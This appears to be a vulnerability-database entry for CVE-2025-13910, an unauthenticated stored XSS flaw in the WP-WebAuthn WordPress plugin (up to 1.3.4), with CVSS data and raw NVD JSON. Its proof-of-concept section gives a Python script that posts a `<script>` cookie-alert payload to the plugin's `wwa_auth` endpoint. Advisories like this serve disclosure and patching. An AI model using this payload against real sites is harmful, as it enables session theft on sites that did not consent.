Security Vulnerability Report
中文
CVE-2025-13910 CVSS 6.1 MEDIUM

CVE-2025-13910

Published: 2026-03-21 04:16:49
Last Modified: 2026-04-22 21:32:08

Description

The WP-WebAuthn plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via the `wwa_auth` AJAX endpoint in all versions up to, and including, 1.3.4 due to insufficient input sanitization and output escaping on user supplied attributes logged by the plugin. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the plugin's log page, provided that the logging option is enabled in the plugin settings.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP-WebAuthn <= 1.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target = "http://example.com/wp-admin/admin-ajax.php" # Vulnerable payload injected into user attributes payload = { "action": "wwa_auth", "data": "<script>alert(document.cookie);</script>" } # Send unauthenticated POST request response = requests.post(target, data=payload) if response.status_code == 200: print("Payload sent successfully.") print("Visit the plugin log page to trigger the XSS.") else: print("Request failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13910", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:49.060", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-WebAuthn plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting via the `wwa_auth` AJAX endpoint in all versions up to, and including, 1.3.4 due to insufficient input sanitization and output escaping on user supplied attributes logged by the plugin. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses the plugin's log page, provided that the logging option is enabled in the plugin settings."}, {"lang": "es", "value": "El plugin WP-WebAuthn para WordPress es vulnerable a cross-site scripting almacenado no autenticado a través del endpoint AJAX 'wwa_auth' en todas las versiones hasta la 1.3.4, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario y registrados por el plugin. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a la página de registro del plugin, siempre que la opción de registro esté habilitada en la configuración del plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-webauthn/tags/1.3.4/wwa-admin-content.php#L319", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-webauthn/tags/1.3.4/wwa-ajax.php#L906", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-webauthn/tags/1.3.4/wwa-ajax.php#L982", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/44407fad-6ad4-4437-930f-b25a6c6203aa?source=cve", "source": "[email protected]"}]}}